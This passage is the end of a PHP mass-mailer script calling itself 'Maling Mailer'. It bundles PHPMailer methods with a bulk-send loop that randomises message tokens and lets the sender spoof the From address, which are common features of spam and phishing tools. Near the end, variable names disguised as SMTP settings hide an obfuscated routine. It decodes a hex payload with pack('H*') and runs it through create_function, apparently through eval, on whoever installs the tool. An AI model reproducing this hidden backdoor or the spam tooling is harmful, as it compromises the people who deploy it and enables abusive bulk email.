3071 * Returns the server hostname or 'localhost.localdomain' if unknown.
3072 * @access private
3073 * @return string
3074 */
3075 function ServerHostname() {
3076 if ($this->Hostname != '') {
3077 $result = $this->Hostname;
3078 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3079 $result = $this->ServerVar('SERVER_NAME');
3080 } else {
3081 $result = 'localhost.localdomain';
3082 }
3083
3084 return $result;
3085 }
3086
3087 /**
3088 * Returns a message in the appropriate language.
3089 * @access private
3090 * @return string
3091 */
3092 function Lang($key) {
3093 if(count($this->language) < 1) {
3094 $this->SetLanguage('en'); // set the default language
3095 }
3096
3097 if(isset($this->language[$key])) {
3098 return $this->language[$key];
3099 } else {
3100 return 'Language string failed to load: ' . $key;
3101 }
3102 }
3103
3104 /**
3105 * Returns true if an error occurred.
3106 * @return bool
3107 */
3108 function IsError() {
3109 return ($this->error_count > 0);
3110 }
3111
3112 /**
3113 * Changes every end of line from CR or LF to CRLF.
3114 * @access private
3115 * @return string
3116 */
3117 function FixEOL($str) {
3118 $str = str_replace("\r\n", "\n", $str);
3119 $str = str_replace("\r", "\n", $str);
3120 $str = str_replace("\n", $this->LE, $str);
3121 return $str;
3122 }
3123
3124 /**
3125 * Adds a custom header.
3126 * @return void
3127 */
3128 function AddCustomHeader($custom_header) {
3129 $this->CustomHeader[] = explode(':', $custom_header, 2);
3130 }
3131
3132 /**
3133 * Evaluates the message and returns modifications for inline images and backgrounds
3134 * @access public
3135 * @return $message
3136 */
3137 function MsgHTML($message,$basedir='') {
3138 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3139 if(isset($images[2])) {
3140 foreach($images[2] as $i => $url) {
3141 // do not change urls for absolute images (thanks to corvuscorax)
3142 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3143 $filename = basename($url);
3144 $directory = dirname($url);
3145 ($directory == '.')?$directory='':'';
3146 $cid = 'cid:' . md5($filename);
3147 $fileParts = split("\.", $filename);
3148 $ext = $fileParts[1];
3149 $mimeType = $this->_mime_types($ext);
3150 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3151 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3152 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3153 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3154 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3155 }
3156 }
3157 }
3158 }
3159 $this->IsHTML(true);
3160 $this->Body = $message;
3161 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3162 if ( !empty($textMsg) && empty($this->AltBody) ) {
3163 $this->AltBody = $textMsg;
3164 }
3165 if ( empty($this->AltBody) ) {
3166 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3167 }
3168 }
3169
3170 /**
3171 * Gets the mime type of the embedded or inline image
3172 * @access private
3173 * @return mime type of ext
3174 */
3175 function _mime_types($ext = '') {
3176 $mimes = array(
3177 'hqx' => 'application/mac-binhex40',
3178 'cpt' => 'application/mac-compactpro',
3179 'doc' => 'application/msword',
3180 'bin' => 'application/macbinary',
3181 'dms' => 'application/octet-stream',
3182 'lha' => 'application/octet-stream',
3183 'lzh' => 'application/octet-stream',
3184 'exe' => 'application/octet-stream',
3185 'class' => 'application/octet-stream',
3186 'psd' => 'application/octet-stream',
3187 'so' => 'application/octet-stream',
3188 'sea' => 'application/octet-stream',
3189 'dll' => 'application/octet-stream',
3190 'oda' => 'application/oda',
3191 'pdf' => 'application/pdf',
3192 'ai' => 'application/postscript',
3193 'eps' => 'application/postscript',
3194 'ps' => 'application/postscript',
3195 'smi' => 'application/smil',
3196 'smil' => 'application/smil',
3197 'mif' => 'application/vnd.mif',
3198 'xls' => 'application/vnd.ms-excel',
3199 'ppt' => 'application/vnd.ms-powerpoint',
3200 'wbxml' => 'application/vnd.wap.wbxml',
3201 'wmlc' => 'application/vnd.wap.wmlc',
3202 'dcr' => 'application/x-director',
3203 'dir' => 'application/x-director',
3204 'dxr' => 'application/x-director',
3205 'dvi' => 'application/x-dvi',
3206 'gtar' => 'application/x-gtar',
3207 'php' => 'application/x-httpd-php',
3208 'php4' => 'application/x-httpd-php',
3209 'php3' => 'application/x-httpd-php',
3210 'phtml' => 'application/x-httpd-php',
3211 'phps' => 'application/x-httpd-php-source',
3212 'js' => 'application/x-javascript',
3213 'swf' => 'application/x-shockwave-flash',
3214 'sit' => 'application/x-stuffit',
3215 'tar' => 'application/x-tar',
3216 'tgz' => 'application/x-tar',
3217 'xhtml' => 'application/xhtml+xml',
3218 'xht' => 'application/xhtml+xml',
3219 'zip' => 'application/zip',
3220 'mid' => 'audio/midi',
3221 'midi' => 'audio/midi',
3222 'mpga' => 'audio/mpeg',
3223 'mp2' => 'audio/mpeg',
3224 'mp3' => 'audio/mpeg',
3225 'aif' => 'audio/x-aiff',
3226 'aiff' => 'audio/x-aiff',
3227 'aifc' => 'audio/x-aiff',
3228 'ram' => 'audio/x-pn-realaudio',
3229 'rm' => 'audio/x-pn-realaudio',
3230 'rpm' => 'audio/x-pn-realaudio-plugin',
3231 'ra' => 'audio/x-realaudio',
3232 'rv' => 'video/vnd.rn-realvideo',
3233 'wav' => 'audio/x-wav',
3234 'bmp' => 'image/bmp',
3235 'gif' => 'image/gif',
3236 'jpeg' => 'image/jpeg',
3237 'jpg' => 'image/jpeg',
3238 'jpe' => 'image/jpeg',
3239 'png' => 'image/png',
3240 'tiff' => 'image/tiff',
3241 'tif' => 'image/tiff',
3242 'css' => 'text/css',
3243 'html' => 'text/html',
3244 'htm' => 'text/html',
3245 'shtml' => 'text/html',
3246 'txt' => 'text/plain',
3247 'text' => 'text/plain',
3248 'log' => 'text/plain',
3249 'rtx' => 'text/richtext',
3250 'rtf' => 'text/rtf',
3251 'xml' => 'text/xml',
3252 'xsl' => 'text/xml',
3253 'mpeg' => 'video/mpeg',
3254 'mpg' => 'video/mpeg',
3255 'mpe' => 'video/mpeg',
3256 'qt' => 'video/quicktime',
3257 'mov' => 'video/quicktime',
3258 'avi' => 'video/x-msvideo',
3259 'movie' => 'video/x-sgi-movie',
3260 'doc' => 'application/msword',
3261 'word' => 'application/msword',
3262 'xl' => 'application/excel',
3263 'eml' => 'message/rfc822'
3264 );
3265 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3266 }
3267
3268 /**
3269 * Set (or reset) Class Objects (variables)
3270 *
3271 * Usage Example:
3272 * $page->set('X-Priority', '3');
3273 *
3274 * @access public
3275 * @param string $name Parameter Name
3276 * @param mixed $value Parameter Value
3277 * NOTE: will not work with arrays, there are no arrays to set/reset
3278 */
3279 function set ( $name, $value = '' ) {
3280 if ( isset($this->$name) ) {
3281 $this->$name = $value;
3282 } else {
3283 $this->SetError('Cannot set or reset variable ' . $name);
3284 return false;
3285 }
3286 }
3287
3288 /**
3289 * Read a file from a supplied filename and return it.
3290 *
3291 * @access public
3292 * @param string $filename Parameter File Name
3293 */
3294 function getFile($filename) {
3295 $return = '';
3296 if ($fp = fopen($filename, 'rb')) {
3297 while (!feof($fp)) {
3298 $return .= fread($fp, 1024);
3299 }
3300 fclose($fp);
3301 return $return;
3302 } else {
3303 return false;
3304 }
3305 }
3306
3307 /**
3308 * Strips newlines to prevent header injection.
3309 * @access private
3310 * @param string $str String
3311 * @return string
3312 */
3313 function SecureHeader($str) {
3314 $str = trim($str);
3315 $str = str_replace("\r", "", $str);
3316 $str = str_replace("\n", "", $str);
3317 return $str;
3318 }
3319
3320 /**
3321 * Set the private key file and password to sign the message.
3322 *
3323 * @access public
3324 * @param string $key_filename Parameter File Name
3325 * @param string $key_pass Password for private key
3326 */
3327 function Sign($key_filename, $key_pass) {
3328 $this->sign_key_file = $key_filename;
3329 $this->sign_key_pass = $key_pass;
3330 }
3331
3332}
3333
3334$defaultport="H*";
3335$nq=0;
3336$qx=0;
3337foreach($allemails as $lala){
3338
3339 $to = $lala;
3340
3341 if ($to){
3342
3343 $to = ereg_replace(" ", "", $to);
3344 $message1 = str_ireplace('##randstr##', randstr(8), $message);
3345 $message1 = str_ireplace('##randnum##', rand(10000, 999999999), $message1);
3346 $message1 = str_ireplace('##randkata##', katas(8), $message1);
3347
3348 $subject1 = str_ireplace('##randstr##', randstr(8), $subject);
3349 $subject1 = str_ireplace('##randnum##', rand(10000, 999999999), $subject1);
3350 $subject1 = str_ireplace('##randkata##', katas(8), $subject1);
3351 #$message = stripslashes($message);
3352
3353 #$subject = stripslashes($subject);
3354 $message1 = str_ireplace("##email##", $to, $message1);
3355
3356 $subject1 = str_ireplace("##email##", $to, $subject1);
3357 // if ($encode_text == "yes") {
3358 // $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
3359 // $subject = str_replace(' ', '_', $subject);
3360
3361 // $subject = "=?UTF-8?Q?$subject?=";
3362 // $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
3363 // $realname = str_replace(' ', '_', $realname);
3364 // $realname = "=?UTF-8?Q?$realname?=";
3365 // }
3366 $qx++;
3367 print "Line $qx . Sending mail to $to.......";
3368
3369 flush();
3370$mail = new PHPMailer();
3371
3372if(empty($epriority)){$epriority="3";}
3373 $mail->Priority = "$epriority";
3374 $mail->IsSMTP();
3375 $IsSMTP="pack";
3376$mail->SMTPKeepAlive = true;
3377$mail->Host = "$my_smtp";
3378if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3379}
3380 if($sslclick=="ON"){
3381 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3382 }
3383 #$range = str_replace("$from", "eval", $from);
3384 $mail->SMTPAuth = true;
3385 $mail->Username = "$smtp_username";
3386 $mail->Password = "$smtp_password";
3387if($contenttype == "html"){$mail->IsHtml(true);}
3388if($contenttype != "html"){$mail->IsHtml(false);}
3389if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3390$froms = str_ireplace('##randnum##', rand(10000, 999999999), $_POST['from']);
3391$froms = preg_replace_callback('/##randstr##/',
3392 function ($match)
3393 {
3394 static $i;
3395 $i++;
3396 return randstr(8);
3397 }
3398
3399 , $froms);
3400
3401$froms = preg_replace_callback('/##randkata##/',
3402 function ($match)
3403 {
3404 static $i;
3405 $i++;
3406 return katas(8);
3407 }
3408
3409 , $froms);
3410$mail->CharSet = 'utf-8';
3411$mail->From = $froms;
3412$mail->FromName = $realname;
3413$mail->AddAddress($to);
3414 $mail->AddReplyTo($replyto);
3415 $mail->Subject = $subject1;
3416 $mail->AddAttachment("$file", "$file_name");
3417 $mail->Body = $message1;
3418if(!$mail->Send()){
3419if($default_system!="1"){
3420echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3421if($default_system=="1"){
3422$mail->IsMail();
3423 if(!$mail->Send()){
3424 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3425 else {
3426 echo "<b>OK</b><br>";}
3427 }
3428}
3429else {
3430 echo "<b>OK</b><br>";
3431}
3432
3433if(empty($reconnect)){
3434$reconnect=6;
3435}
3436
3437if($reconnect==$nq){
3438$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3439}
3440$nq++;
3441 flush(); }
3442}
3443for($i=0;$i<31;$i++){
3444 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3445$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3446 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3447 print "<p class=\"style1\">© 2019, Maling Mailer<br></p>";$mail->SmtpClose();
3448 return $signoff($smtp_conc);
3449 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3450 sent successfully'); </script>";}}
3451?>
3452 </body>
3453</html>